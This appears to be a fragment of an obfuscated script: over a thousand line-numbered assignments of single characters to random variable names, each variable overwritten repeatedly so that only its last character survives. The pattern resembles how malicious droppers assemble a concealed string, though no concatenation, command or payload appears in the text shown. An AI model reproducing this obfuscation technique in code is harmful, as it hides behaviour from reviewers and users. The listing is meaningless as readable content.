32	crlualu = "K";
33	crlualu = "x";
34	crlualu = "c";
35	crlualu = "d";
36	crlualu = "G";
37	crlualu = "v";
38	crlualu = "G";
39	crlualu = "S";
40	crlualu = "n";
41	crlualu = "C";
42	crlualu = "M";
43	crlualu = "x";
44	crlualu = "j";
45	crlualu = "x";
46	crlualu = "r";
47	crlualu = "O";
48	crlualu = "d";
49	crlualu = "w";
50	crlualu = "I";
51	crlualu = "V";
52	crlualu = "c";
53	crlualu = "C";
54	crlualu = "c";
55	crlualu = "o";
56	crlualu = "K";
57	crlualu = "w";
58	crlualu = "c";
59	crlualu = "V";
60	crlualu = "s";
61	qkuqr = "E";
62	qkuqr = "U";
63	qkuqr = "a";
64	qkuqr = "u";
65	qkuqr = "f";
66	qkuqr = "r";
67	qkuqr = "V";
68	qkuqr = "c";
69	qkuqr = "d";
70	qkuqr = "z";
71	qkuqr = "g";
72	qkuqr = "I";
73	qkuqr = "M";
74	qkuqr = "I";
75	qkuqr = "e";
76	qkuqr = "H";
77	qkuqr = "U";
78	xjxnzt = "U";
79	xjxnzt = "E";
80	xjxnzt = "o";
81	eueqcxh = "e";
82	eueqcxh = "b";
83	eueqcxh = "v";
84	eueqcxh = "n";
85	eueqcxh = "V";
86	eueqcxh = "U";
87	eueqcxh = "M";
88	eueqcxh = "f";
89	eueqcxh = "D";
90	eueqcxh = "Z";
91	eueqcxh = "Q";
92	eueqcxh = "W";
93	eueqcxh = "U";
94	eueqcxh = "M";
95	eueqcxh = "P";
96	eueqcxh = "o";
97	eueqcxh = "O";
98	eueqcxh = "f";
99	eueqcxh = "H";
100	eueqcxh = "L";
101	eueqcxh = "Y";
102	eueqcxh = "u";
103	eueqcxh = "t";
104	eueqcxh = "O";
105	eueqcxh = "k";
106	eueqcxh = "n";
107	eueqcxh = "Y";
108	eueqcxh = "A";
109	eueqcxh = "M";
110	eueqcxh = "I";
111	eueqcxh = "O";
112	pupgwcz = "l";
113	pupgwcz = "J";
114	pupgwcz = "I";
115	pupgwcz = "i";
116	pupgwcz = "Y";
117	pupgwcz = "L";
118	pupgwcz = "f";
119	pupgwcz = "v";
120	pupgwcz = "y";
121	pupgwcz = "N";
122	pupgwcz = "A";
123	pupgwcz = "O";
124	pupgwcz = "j";
125	pupgwcz = "K";
126	pupgwcz = "L";
127	pupgwcz = "a";
128	pupgwcz = "J";
129	pupgwcz = "K";
130	pupgwcz = "e";
131	pupgwcz = "h";
132	pupgwcz = "i";
133	pupgwcz = "D";
134	pupgwcz = "y";
135	pupgwcz = "H";
136	pupgwcz = "G";
137	pupgwcz = "D";
138	pupgwcz = "k";
139	pupgwcz = "w";
140	pupgwcz = "u";
141	pupgwcz = "c";
142	pupgwcz = "o";
143	pupgwcz = "O";
144	pupgwcz = "n";
145	pupgwcz = "F";
146	pupgwcz = "Y";
147	pupgwcz = "X";
148	pupgwcz = "X";
149	pupgwcz = "i";
150	pupgwcz = "X";
151	pupgwcz = "k";
152	ympqgz = "M";
153	ympqgz = "p";
154	ympqgz = "i";
155	ympqgz = "p";
156	ympqgz = "U";
157	ympqgz = "T";
158	ympqgz = "S";
159	ympqgz = "m";
160	ympqgz = "l";
161	ympqgz = "L";
162	ympqgz = "j";
163	ympqgz = "x";
164	ympqgz = "D";
165	ympqgz = "W";
166	ympqgz = "d";
167	ympqgz = "d";
168	ympqgz = "B";
169	ympqgz = "r";
170	ympqgz = "j";
171	ympqgz = "y";
172	ympqgz = "C";
173	ympqgz = "R";
174	ympqgz = "@";
175	rvzcwzapj = "H";
176	rvzcwzapj = "Y";
177	rvzcwzapj = "E";
178	rvzcwzapj = "z";
179	rvzcwzapj = "G";
180	rvzcwzapj = "B";
181	rvzcwzapj = "K";
182	rvzcwzapj = "h";
183	rvzcwzapj = "j";
184	rvzcwzapj = "T";
185	rvzcwzapj = "R";
186	rvzcwzapj = "s";
187	rvzcwzapj = "c";
188	rvzcwzapj = "N";
189	rvzcwzapj = "s";
190	rvzcwzapj = "K";
191	rvzcwzapj = "r";
192	rvzcwzapj = "O";
193	rvzcwzapj = "w";
194	rvzcwzapj = "u";
195	rvzcwzapj = "u";
196	rvzcwzapj = "r";
197	rvzcwzapj = "E";
198	rvzcwzapj = "N";
199	rvzcwzapj = "s";
200	rvzcwzapj = "p";
201	rvzcwzapj = "J";
202	rvzcwzapj = "Y";
203	rvzcwzapj = "G";
204	rvzcwzapj = "G";
205	rvzcwzapj = "I";
206	rvzcwzapj = "t";
207	rvzcwzapj = "X";
208	rvzcwzapj = ":";
209	djmldzozo = "l";
210	djmldzozo = "R";
211	djmldzozo = "t";
212	djmldzozo = "t";
213	djmldzozo = "W";
214	djmldzozo = "e";
215	djmldzozo = "y";
216	djmldzozo = "I";
217	djmldzozo = "F";
218	djmldzozo = "F";
219	djmldzozo = "m";
220	djmldzozo = "T";
221	djmldzozo = "i";
222	djmldzozo = "K";
223	djmldzozo = "R";
224	djmldzozo = "z";
225	djmldzozo = "Y";
226	kgpendas = "B";
227	kgpendas = "A";
228	kgpendas = "E";
229	kgpendas = "N";
230	kgpendas = "j";
231	gdnjdvcvb = "q";
232	gdnjdvcvb = "P";
233	gdnjdvcvb = "Q";
234	gdnjdvcvb = "T";
235	gdnjdvcvb = "I";
236	gdnjdvcvb = "q";
237	gdnjdvcvb = "Z";
238	gdnjdvcvb = "q";
239	gdnjdvcvb = "n";
240	gdnjdvcvb = "C";
241	gdnjdvcvb = "U";
242	gdnjdvcvb = "y";
243	gdnjdvcvb = "P";
244	gdnjdvcvb = "z";
245	gdnjdvcvb = "V";
246	gdnjdvcvb = "m";
247	gdnjdvcvb = "x";
248	gdnjdvcvb = "Q";
249	gdnjdvcvb = "N";
250	gdnjdvcvb = "Z";
251	gdnjdvcvb = "O";
252	gdnjdvcvb = "i";
253	gdnjdvcvb = "a";
254	gdnjdvcvb = "M";
255	gdnjdvcvb = "e";
256	wunhxhyi = "M";
257	wunhxhyi = "c";
258	wunhxhyi = "f";
259	wunhxhyi = "b";
260	wunhxhyi = "c";
261	wunhxhyi = "p";
262	wunhxhyi = "B";
263	wunhxhyi = "H";
264	wunhxhyi = "L";
265	wunhxhyi = "P";
266	wunhxhyi = "w";
267	wunhxhyi = "n";
268	wunhxhyi = "o";
269	wunhxhyi = "R";
270	wunhxhyi = "l";
271	wunhxhyi = "-";
272	tesztqzv = "s";
273	tesztqzv = "I";
274	tesztqzv = "h";
275	tesztqzv = "F";
276	tesztqzv = "E";
277	tesztqzv = "e";
278	tesztqzv = "r";
279	tesztqzv = "X";
280	tesztqzv = "a";
281	tesztqzv = "o";
282	tesztqzv = "F";
283	tesztqzv = "W";
284	tesztqzv = "d";
285	tesztqzv = "E";
286	tesztqzv = "k";
287	tesztqzv = "j";
288	tesztqzv = "p";
289	tesztqzv = "m";
290	tesztqzv = "p";
291	tesztqzv = "c";
292	tesztqzv = "U";
293	tesztqzv = "B";
294	tesztqzv = "v";
295	tesztqzv = "J";
296	tesztqzv = "K";
297	tesztqzv = "r";
298	rgvsuekx = "B";
299	rgvsuekx = "J";
300	rgvsuekx = "G";
301	rgvsuekx = "D";
302	rgvsuekx = "M";
303	rgvsuekx = "G";
304	rgvsuekx = "K";
305	rgvsuekx = "O";
306	rgvsuekx = "k";
307	rgvsuekx = "i";
308	rgvsuekx = "t";
309	rgvsuekx = "B";
310	rgvsuekx = "b";
311	rgvsuekx = "T";
312	rgvsuekx = "u";
313	rgvsuekx = "n";
314	rgvsuekx = "r";
315	rgvsuekx = "K";
316	rgvsuekx = "o";
317	rgvsuekx = "k";
318	rgvsuekx = "k";
319	rgvsuekx = "S";
320	rgvsuekx = "w";
321	rgvsuekx = "T";
322	rgvsuekx = "g";
323	rgvsuekx = "A";
324	rgvsuekx = "I";
325	rgvsuekx = "m";
326	rgvsuekx = "M";
327	rgvsuekx = "q";
328	rgvsuekx = "X";
329	rgvsuekx = "G";
330	rgvsuekx = "C";
331	rgvsuekx = "n";
332	rgvsuekx = "g";
333	zvfdxwcp = "h";
334	zvfdxwcp = "I";
335	zvfdxwcp = "Y";
336	zvfdxwcp = "L";
337	zvfdxwcp = "K";
338	zvfdxwcp = "p";
339	zvfdxwcp = "P";
340	zvfdxwcp = "v";
341	zvfdxwcp = "i";
342	zvfdxwcp = "y";
343	zvfdxwcp = "i";
344	zvfdxwcp = "O";
345	zvfdxwcp = "x";
346	zvfdxwcp = "U";
347	zvfdxwcp = "u";
348	zvfdxwcp = "X";
349	zvfdxwcp = "c";
350	zvfdxwcp = "M";
351	zvfdxwcp = "Y";
352	zvfdxwcp = "e";
353	zvfdxwcp = "N";
354	zvfdxwcp = "r";
355	zvfdxwcp = "Q";
356	zvfdxwcp = "w";
357	zvfdxwcp = "L";
358	zvfdxwcp = "n";
359	zvfdxwcp = "l";
360	zvfdxwcp = "d";
361	zvfdxwcp = "A";
362	zvfdxwcp = "C";
363	zvfdxwcp = "d";
364	zvfdxwcp = "M";
365	zvfdxwcp = "Q";
366	zvfdxwcp = "Z";
367	zvfdxwcp = "n";
368	zvfdxwcp = "o";
369	zvfdxwcp = "w";
370	zvfdxwcp = "k";
371	zvfdxwcp = "b";
372	zvfdxwcp = "S";
373	zvfdxwcp = "g";
374	zvfdxwcp = "/";
375	mdrwsdys = "Z";
376	mdrwsdys = "n";
377	mdrwsdys = "k";
378	mdrwsdys = "Y";
379	mdrwsdys = "m";
380	mdrwsdys = "c";
381	fvdqfe = "D";
382	fvdqfe = "x";
383	fvdqfe = "i";
384	fvdqfe = "d";
385	fvdqfe = "x";
386	fvdqfe = "s";
387	fvdqfe = "P";
388	fvdqfe = "Y";
389	fvdqfe = "z";
390	fvdqfe = "b";
391	fvdqfe = "e";
392	fvdqfe = "U";
393	fvdqfe = "U";
394	fvdqfe = "U";
395	fvdqfe = "j";
396	fvdqfe = "a";
397	fvdqfe = "L";
398	fvdqfe = "h";
399	ztuydmzq = "Z";
400	ztuydmzq = "E";
401	ztuydmzq = "N";
402	ztuydmzq = "Y";
403	ztuydmzq = "P";
404	ztuydmzq = "F";
405	ztuydmzq = "j";
406	ztuydmzq = "p";
407	ztuydmzq = "t";
408	ztuydmzq = "w";
409	qdmhku = "s";
410	qdmhku = "a";
411	qdmhku = "b";
412	qdmhku = "V";
413	qdmhku = "u";
414	qdmhku = "N";
415	qdmhku = "e";
416	qdmhku = "L";
417	qdmhku = "w";
418	qdmhku = "Y";
419	qdmhku = "s";
420	qdmhku = "K";
421	qdmhku = "a";
422	tethao = "q";
423	tethao = "N";
424	tethao = "W";
425	tethao = "I";
426	tethao = "i";
427	tethao = "i";
428	tethao = "w";
429	tethao = "p";
430	tethao = "u";
431	wygpkbuzm = "M";
432	wygpkbuzm = "s";
433	wygpkbuzm = "C";
434	wygpkbuzm = "S";
435	wygpkbuzm = "k";
436	wygpkbuzm = "p";
437	wygpkbuzm = "f";
438	wygpkbuzm = "J";
439	wygpkbuzm = "N";
440	wygpkbuzm = "z";
441	wygpkbuzm = "s";
442	wygpkbuzm = "S";
443	wygpkbuzm = "m";
444	wygpkbuzm = "m";
445	wygpkbuzm = "J";
446	wygpkbuzm = "t";
447	wygpkbuzm = "g";
448	wygpkbuzm = "H";
449	wygpkbuzm = "z";
450	wygpkbuzm = "c";
451	wygpkbuzm = "m";
452	wygpkbuzm = "O";
453	wygpkbuzm = "h";
454	wygpkbuzm = "O";
455	wygpkbuzm = "v";
456	wygpkbuzm = "O";
457	wygpkbuzm = "y";
458	wygpkbuzm = "x";
459	wygpkbuzm = "O";
460	wygpkbuzm = "Z";
461	wygpkbuzm = "k";
462	wygpkbuzm = "I";
463	wygpkbuzm = "P";
464	wygpkbuzm = "i";
465	wygpkbuzm = "b";
466	wygpkbuzm = "M";
467	wygpkbuzm = "s";
468	wygpkbuzm = "\"";
469	pwyzyyd = "l";
470	pwyzyyd = "A";
471	pwyzyyd = "O";
472	pwyzyyd = "d";
473	pwyzyyd = "o";
474	pwyzyyd = "m";
475	pwyzyyd = "y";
476	pwyzyyd = "w";
477	pwyzyyd = "h";
478	pwyzyyd = "L";
479	pwyzyyd = "K";
480	pwyzyyd = "T";
481	pwyzyyd = "a";
482	pwyzyyd = "u";
483	pwyzyyd = "k";
484	pwyzyyd = "n";
485	pwyzyyd = "B";
486	pwyzyyd = "e";
487	pwyzyyd = "F";
488	pwyzyyd = "Y";
489	pwyzyyd = "C";
490	pwyzyyd = "X";
491	pwyzyyd = "J";
492	pwyzyyd = "W";
493	pwyzyyd = "T";
494	pwyzyyd = "Y";
495	pwyzyyd = "C";
496	pwyzyyd = "R";
497	pwyzyyd = "e";
498	pwyzyyd = "b";
499	pwyzyyd = "E";
500	pwyzyyd = "w";
501	pwyzyyd = "i";
502	pwyzyyd = "l";
503	pwyzyyd = "d";
504	iaolvz = "i";
505	iaolvz = "C";
506	iaolvz = "C";
507	iaolvz = ".";
508	fldxtg = "B";
509	fldxtg = "i";
510	fldxtg = "E";
511	fldxtg = "p";
512	fldxtg = "l";
513	fldxtg = "F";
514	fldxtg = "u";
515	fldxtg = "y";
516	fldxtg = "j";
517	fldxtg = "O";
518	fldxtg = "P";
519	fldxtg = "G";
520	fldxtg = "B";
521	fldxtg = "a";
522	fldxtg = "K";
523	fldxtg = "v";
524	fldxtg = "v";
525	fldxtg = "v";
526	fldxtg = "G";
527	fldxtg = "h";
528	fldxtg = "a";
529	fldxtg = "U";
530	fldxtg = "a";
531	fldxtg = "0";
532	chmwhrge = "Z";
533	chmwhrge = "r";
534	chmwhrge = "B";
535	chmwhrge = "k";
536	chmwhrge = "y";
537	chmwhrge = "W";
538	chmwhrge = "&";
539	oocvpa = "v";
540	oocvpa = "H";
541	oocvpa = "k";
542	oocvpa = "M";
543	oocvpa = "p";
544	oocvpa = "b";
545	oocvpa = "T";
546	oocvpa = "e";
547	oocvpa = "t";
548	oocvpa = "h";
549	oocvpa = "x";
550	oocvpa = "O";
551	oocvpa = "R";
552	dbxhl = "k";
553	dbxhl = "J";
554	dbxhl = "w";
555	dbxhl = "E";
556	dbxhl = "R";
557	dbxhl = "w";
558	dbxhl = "z";
559	dbxhl = "Y";
560	dbxhl = "N";
561	dbxhl = "W";
562	dbxhl = "q";
563	dbxhl = "v";
564	dbxhl = "E";
565	dbxhl = "O";
566	dbxhl = "X";
567	dbxhl = "p";
568	dbxhl = "H";
569	dbxhl = "w";
570	dbxhl = "J";
571	dbxhl = "G";
572	dbxhl = "T";
573	dbxhl = "M";
574	dbxhl = "g";
575	dbxhl = "R";
576	dbxhl = "l";
577	dbxhl = "M";
578	dbxhl = "E";
579	dbxhl = "F";
580	dbxhl = "T";
581	dbxhl = "E";
582	dbxhl = "t";
583	dbxhl = "n";
584	dbxhl = "G";
585	dbxhl = "f";
586	dbxhl = "E";
587	dbxhl = "m";
588	dbxhl = "R";
589	dbxhl = "f";
590	dbxhl = "m";
591	dbxhl = "X";
592	dbxhl = "_";
593	josbbn = "i";
594	josbbn = "K";
595	josbbn = "L";
596	josbbn = "R";
597	josbbn = "P";
598	ezhcn = "V";
599	ezhcn = "V";
600	ezhcn = "Y";
601	ezhcn = "j";
602	ezhcn = "k";
603	ezhcn = "P";
604	ezhcn = "z";
605	ezhcn = "a";
606	ezhcn = "u";
607	ezhcn = "b";
608	ezhcn = "V";
609	ezhcn = "R";
610	ezhcn = "e";
611	ezhcn = "X";
612	ezhcn = "q";
613	ezhcn = "u";
614	ezhcn = "R";
615	ezhcn = "a";
616	ezhcn = "D";
617	ezhcn = "Q";
618	ezhcn = "Y";
619	ezhcn = "U";
620	ezhcn = "o";
621	ezhcn = "p";
622	ezhcn = "M";
623	ezhcn = "J";
624	ezhcn = "g";
625	ezhcn = "v";
626	ezhcn = "D";
627	ezhcn = "j";
628	ezhcn = "J";
629	ezhcn = "k";
630	ezhcn = "b";
631	wkdnzyeq = "c";
632	wkdnzyeq = "u";
633	wkdnzyeq = "k";
634	wkdnzyeq = "U";
635	wkdnzyeq = "d";
636	wkdnzyeq = "O";
637	wkdnzyeq = "p";
638	wkdnzyeq = "n";
639	wkdnzyeq = "e";
640	wkdnzyeq = "m";
641	wkdnzyeq = "\\";
642	jcjgl = "N";
643	jcjgl = "e";
644	jcjgl = "x";
645	jcjgl = "p";
646	jcjgl = "T";
647	jcjgl = "N";
648	jcjgl = "S";
649	jcjgl = "y";
650	jcjgl = "y";
651	jcjgl = "G";
652	jcjgl = "h";
653	jcjgl = "B";
654	jcjgl = "L";
655	wswynrrtn = "L";
656	wswynrrtn = "J";
657	wswynrrtn = "6";
658	xmiedn = "z";
659	xmiedn = "m";
660	xmiedn = "u";
661	xmiedn = "U";
662	xmiedn = "i";
663	xmiedn = "O";
664	xmiedn = "Q";
665	xmiedn = "a";
666	xmiedn = "K";
667	xmiedn = "L";
668	xmiedn = "l";
669	xmiedn = "X";
670	xmiedn = "Q";
671	xmiedn = "x";
672	xmiedn = "f";
673	xmiedn = "H";
674	xmiedn = "E";
675	xmiedn = "x";
676	xmiedn = "k";
677	xmiedn = "b";
678	xmiedn = "f";
679	xmiedn = "W";
680	xmiedn = "r";
681	xmiedn = "i";
682	xmiedn = "r";
683	xmiedn = "x";
684	xmiedn = "T";
685	xmiedn = "H";
686	xmiedn = "k";
687	xmiedn = "p";
688	jabsfz = "a";
689	jabsfz = "F";
690	jabsfz = "A";
691	jabsfz = "U";
692	jabsfz = "S";
693	jabsfz = "Q";
694	jabsfz = "C";
695	jabsfz = "t";
696	jabsfz = "h";
697	jabsfz = "L";
698	jabsfz = "n";
699	jabsfz = "R";
700	jabsfz = "T";
701	jabsfz = "t";
702	jabsfz = "m";
703	jabsfz = "f";
704	jabsfz = "A";
705	jabsfz = "a";
706	jabsfz = "p";
707	jabsfz = "H";
708	jabsfz = "t";
709	jabsfz = "X";
710	jabsfz = "x";
711	jabsfz = "j";
712	jabsfz = "C";
713	jabsfz = "H";
714	jabsfz = "u";
715	jabsfz = "i";
716	jabsfz = "T";
717	jabsfz = "X";
718	jabsfz = "Y";
719	jabsfz = "a";
720	jabsfz = "d";
721	jabsfz = "1";
722	fgomrwkp = "L";
723	fgomrwkp = "L";
724	fgomrwkp = "n";
725	fgomrwkp = "J";
726	fgomrwkp = "H";
727	fgomrwkp = "P";
728	fgomrwkp = "A";
729	fgomrwkp = "U";
730	fgomrwkp = "Y";
731	fgomrwkp = "d";
732	fgomrwkp = "g";
733	fgomrwkp = "r";
734	fgomrwkp = "H";
735	fgomrwkp = "L";
736	fgomrwkp = "B";
737	fgomrwkp = "E";
738	fgomrwkp = "v";
739	fgomrwkp = "X";
740	fgomrwkp = "M";
741	fgomrwkp = "b";
742	fgomrwkp = "j";
743	fgomrwkp = "r";
744	fgomrwkp = "X";
745	fgomrwkp = "A";
746	fgomrwkp = "q";
747	fgomrwkp = "X";
748	fgomrwkp = "g";
749	fgomrwkp = "t";
750	fgomrwkp = "Z";
751	fgomrwkp = "a";
752	fgomrwkp = "n";
753	fgomrwkp = "A";
754	fgomrwkp = "M";
755	fgomrwkp = "N";
756	fgomrwkp = "K";
757	fgomrwkp = "X";
758	fgomrwkp = "8";
759	bksihitz = "j";
760	bksihitz = "B";
761	bksihitz = "e";
762	bksihitz = "j";
763	bksihitz = "q";
764	bksihitz = "O";
765	bksihitz = "L";
766	bksihitz = "d";
767	bksihitz = "i";
768	bksihitz = "m";
769	bksihitz = "f";
770	bksihitz = "R";
771	bksihitz = "a";
772	bksihitz = "U";
773	bksihitz = "a";
774	bksihitz = "O";
775	bksihitz = "Z";
776	bksihitz = "t";
777	wwmwu = "N";
778	wwmwu = "P";
779	wwmwu = "D";
780	wwmwu = "n";
781	wwmwu = "q";
782	wwmwu = "f";
783	wwmwu = "U";
784	wwmwu = "Y";
785	wwmwu = "H";
786	wwmwu = "P";
787	wwmwu = "b";
788	wwmwu = "q";
789	wwmwu = "S";
790	wwmwu = "h";
791	wwmwu = "F";
792	voijb = "z";
793	voijb = "M";
794	voijb = "J";
795	voijb = "n";
796	voijb = "g";
797	voijb = "S";
798	voijb = "f";
799	voijb = "T";
800	voijb = "P";
801	voijb = "U";
802	voijb = "M";
803	voijb = "n";
804	voijb = "Q";
805	voijb = "u";
806	voijb = "Z";
807	voijb = "v";
808	voijb = "N";
809	voijb = "T";
810	voijb = "b";
811	voijb = "q";
812	voijb = "T";
813	voijb = "X";
814	voijb = "X";
815	voijb = "P";
816	voijb = "D";
817	voijb = "m";
818	voijb = "d";
819	voijb = "x";
820	voijb = "o";
821	voijb = "u";
822	voijb = "x";
823	voijb = "f";
824	tzktxj = "d";
825	tzktxj = "y";
826	tzktxj = "a";
827	tzktxj = "t";
828	tzktxj = "N";
829	tzktxj = "o";
830	tzktxj = "V";
831	tzktxj = "H";
832	oiuobfarx = "E";
833	oiuobfarx = "i";
834	oiuobfarx = "w";
835	oiuobfarx = "A";
836	oiuobfarx = "S";
837	jxotgzd = "A";
838	jxotgzd = "M";
839	jxotgzd = "w";
840	jxotgzd = "e";
841	jxotgzd = " ";
842	zitgshca = "h";
843	zitgshca = "G";
844	zitgshca = "G";
845	zitgshca = "l";
846	zitgshca = "y";
847	zitgshca = "E";
848	zitgshca = "Q";
849	zitgshca = "k";
850	zitgshca = "a";
851	zitgshca = "j";
852	zitgshca = "c";
853	zitgshca = "H";
854	zitgshca = "L";
855	zitgshca = "r";
856	zitgshca = "M";
857	zitgshca = "c";
858	zitgshca = "A";
859	zitgshca = "x";
860	zitgshca = "L";
861	zitgshca = "i";
862	bmvooxhew = "k";
863	bmvooxhew = "f";
864	bmvooxhew = "a";
865	bmvooxhew = "T";
866	bmvooxhew = "s";
867	bmvooxhew = "T";
868	yxdssps = "V";
869	yxdssps = "T";
870	yxdssps = "R";
871	yxdssps = "V";
872	yxdssps = "Q";
873	yxdssps = "B";
874	yxdssps = "C";
875	guyhet = "m";
876	guyhet = "K";
877	guyhet = "N";
878	guyhet = "m";
879	guyhet = "A";
880	guyhet = "g";
881	guyhet = "R";
882	guyhet = "V";
883	guyhet = "R";
884	guyhet = "b";
885	guyhet = "D";
886	guyhet = "T";
887	guyhet = "K";
888	guyhet = "D";
889	guyhet = "J";
890	guyhet = "E";
891	guyhet = "b";
892	guyhet = "J";
893	guyhet = "L";
894	guyhet = "n";
895	guyhet = "c";
896	guyhet = "t";
897	guyhet = "C";
898	guyhet = "B";
899	guyhet = "Q";
900	guyhet = "f";
901	guyhet = "D";
902	guyhet = "F";
903	guyhet = "a";
904	guyhet = "X";
905	guyhet = "B";
906	guyhet = "W";
907	guyhet = "P";
908	guyhet = "L";
909	guyhet = "z";
910	guyhet = "L";
911	guyhet = "t";
912	guyhet = "U";
913	guyhet = "U";
914	guyhet = "a";
915	guyhet = "u";
916	guyhet = "s";
917	guyhet = "d";
918	guyhet = "O";
919	guyhet = "2";
920	nulklca = "u";
921	nulklca = "q";
922	nulklca = "h";
923	nulklca = "x";
924	nulklca = "S";
925	nulklca = "K";
926	nulklca = "a";
927	nulklca = "i";
928	nulklca = "x";
929	rxzlivty = "P";
930	rxzlivty = "K";
931	rxzlivty = "O";
932	rxzlivty = "T";
933	rxzlivty = "X";
934	rxzlivty = "k";
935	rxzlivty = "x";
936	rxzlivty = "s";
937	rxzlivty = "B";
938	rxzlivty = "g";
939	rxzlivty = "f";
940	rxzlivty = "P";
941	rxzlivty = "J";
942	rxzlivty = "h";
943	rxzlivty = "q";
944	rxzlivty = "c";
945	rxzlivty = "W";
946	rxzlivty = "O";
947	rxzlivty = "k";
948	rxzlivty = "I";
949	pniwn = "w";
950	pniwn = "h";
951	pniwn = "J";
952	pniwn = "I";
953	pniwn = "v";
954	pniwn = "w";
955	pniwn = "i";
956	pniwn = "j";
957	pniwn = "R";
958	pniwn = "D";
959	pniwn = "e";
960	pniwn = "M";
961	pniwn = "E";
962	pniwn = "s";
963	pniwn = "c";
964	pniwn = "i";
965	pniwn = "w";
966	pniwn = "o";
967	pniwn = "m";
968	pniwn = "V";
969	pniwn = "E";
970	pniwn = "R";
971	pniwn = "M";
972	pniwn = "D";
973	pniwn = "a";
974	pniwn = "B";
975	pniwn = "Q";
976	pniwn = "I";
977	pniwn = "P";
978	pniwn = "v";
979	pniwn = "l";
980	pniwn = "z";
981	pniwn = "g";
982	pniwn = "3";
983	dfdtfoxu = "E";
984	whmitubgl = "P";
985	whmitubgl = "U";
986	whmitubgl = "h";
987	whmitubgl = "H";
988	whmitubgl = "W";
989	whmitubgl = "a";
990	whmitubgl = "C";
991	whmitubgl = "u";
992	whmitubgl = "y";
993	whmitubgl = "R";
994	whmitubgl = "K";
995	whmitubgl = "c";
996	whmitubgl = "e";
997	whmitubgl = "j";
998	whmitubgl = "O";
999	whmitubgl = "N";
1000	whmitubgl = "s";
1001	whmitubgl = "c";
1002	whmitubgl = "k";
1003	whmitubgl = "n";
1004	whmitubgl = "d";
1005	whmitubgl = "r";
1006	whmitubgl = "j";
1007	whmitubgl = "g";
1008	whmitubgl = "n";
1009	whmitubgl = "R";
1010	whmitubgl = "R";
1011	whmitubgl = "M";
1012	whmitubgl = "c";
1013	whmitubgl = "G";
1014	whmitubgl = "p";
1015	whmitubgl = "a";
1016	whmitubgl = "T";
1017	whmitubgl = "n";
1018	whmitubgl = "L";
1019	whmitubgl = "R";
1020	whmitubgl = "g";
1021	whmitubgl = "4";
1022	xtliarw = "r";
1023	xtliarw = "G";
1024	xtliarw = "P";
1025	xtliarw = "K";
1026	xtliarw = "t";
1027	xtliarw = "M";
1028	xtliarw = "w";
1029	xtliarw = "B";
1030	xtliarw = "Z";
1031	xtliarw = "u";
1032	xtliarw = "L";
1033	xtliarw = "e";
1034	xtliarw = "F";
1035	xtliarw = "y";
1036	xtliarw = "l";
1037	zpxmxg = "s";
1038	zpxmxg = "a";
1039	zpxmxg = "y";
1040	zpxmxg = "Q";
1041	zpxmxg = "9";
1042	nclzo = "K";
1043	nclzo = "y";
1044	nclzo = "z";
1045	nclzo = "c";
1046	nclzo = "S";
1047	nclzo = "R";
1048	nclzo = "k";
1049	nclzo = "u";
1050	nclzo = "v";
1051	nclzo = "x";
1052	nclzo = "W";
1053	nclzo = "o";
1054	nclzo = "h";
1055	nclzo = "L";
1056	nclzo = "B";
1057	nclzo = "B";
1058	nclzo = "y";
1059	nclzo = "n";
1060	nclzo = "F";
1061	nclzo = "a";
1062	nclzo = "Z";
1063	nclzo = "n";
1064	nclzo = "v";
1065	nclzo = "C";
1066	nclzo = "H";
1067	nclzo = "H";
1068	nclzo = "z";
1069	nclzo = "N";
1070	nclzo = "F";
1071	nclzo = "z";
1072	nclzo = "O";
1073	nclzo = "p";
1074	nclzo = "S";
1075	nclzo = "w";
1076	nclzo = "c";
1077	nclzo = "u";
1078	nclzo = "F";
1079	nclzo = "l";
1080	nclzo = "5";
1081	lpmqr = "Y";
1082	lpmqr = "Y";
1083	lpmqr = "y";
1084	lpmqr = "a";
1085	lpmqr = "x";
1086	lpmqr = "Z";
1087	lpmqr = "v";
1088	lpmqr = "m";
1089	lpmqr = "E";
1090	lpmqr = "x";
1091	lpmqr = "m";
1092	lpmqr = "a";
1093	lpmqr = "F";
1094	lpmqr = "F";
1095	lpmqr = "t";
1096	lpmqr = "g";
1097	lpmqr = "O";
1098	lpmqr = "P";
1099	lpmqr = "H";
1100	lpmqr = "R";
1101	lpmqr = "T";
1102	lpmqr = "A";
1103	lpmqr = "t";
1104	lpmqr = "h";
1105	lpmqr = "p";
1106	lpmqr = "R";
1107	lpmqr = "d";
1108	lpmqr = "N";
1109	lpmqr = "d";
1110	lpmqr = "Y";
1111	lpmqr = "T";
1112	lpmqr = "D";
1113	lpmqr = "C";
1114	lpmqr = "l";
1115	lpmqr = "o";
1116	lpmqr = "r";
1117	lpmqr = "M";
1118	lpmqr = "Z";
1119	lpmqr = "Z";
1120	lpmqr = "n";
1121	kptnzz = "c";
1122	kptnzz = "j";
1123	kptnzz = "J";
1124	kptnzz = "V";
1125	kptnzz = "Q";
1126	kptnzz = "W";
1127	kptnzz = "Q";
1128	kptnzz = "J";
1129	kptnzz = "M";
1130	kptnzz = "g";
1131	kptnzz = "n";
1132	kptnzz = "B";
1133	kptnzz = "K";
1134	kptnzz = "W";
1135	kptnzz = "Z";
1136	kptnzz = "w";
1137	kptnzz = "E";
1138	kptnzz = "r";
1139	kptnzz = "c";
1140	kptnzz = "s";
1141	kptnzz = "o";
1142	kptnzz = "D";
1143	kptnzz = "X";
1144	kptnzz = "s";
1145	kptnzz = "w";
1146	kptnzz = "A";
1147	kptnzz = "M";
1148	kptnzz = "n";
1149	kptnzz = "t";
1150	kptnzz = "O";
1151	kptnzz = "f";
1152	kptnzz = "x";
1153	kptnzz = "N";
1154	kptnzz = "k";
1155	kptnzz = "K";
1156	kptnzz = "u";
1157	kptnzz = "%";
1158	maeexqapb = "Z";
1159	maeexqapb = "o";
1160	maeexqapb = "B";
1161	maeexqapb = "i";
1162	maeexqapb = "V";
1163	maeexqapb = "c";
1164	maeexqapb = "i";
1165	maeexqapb = "K";
1166	maeexqapb = "F";
1167	maeexqapb = "I";
1168	maeexqapb = "T";
1169	maeexqapb = "g";
1170	maeexqapb = "a";
1171	maeexqapb = "s";
1172	maeexqapb = "V";
1173	maeexqapb = "Y";
1174	maeexqapb = "h";
1175	maeexqapb = "L";
1176	maeexqapb = "Z";
1177	maeexqapb = "g";
1178	maeexqapb = "R";
1179	maeexqapb = "Q";
1180	hwfbbnif = "u";
1181	hwfbbnif = "Q";
1182	hwfbbnif = "q";
1183	hwfbbnif = "J";
1184	hwfbbnif = "g";
1185	hwfbbnif = "S";
1186	hwfbbnif = "A";
1187	hwfbbnif = "A";
1188	hwfbbnif = "Q";
1189	hwfbbnif = "H";
1190	hwfbbnif = "D";
1191	hwfbbnif = "J";
1192	hwfbbnif = "g";
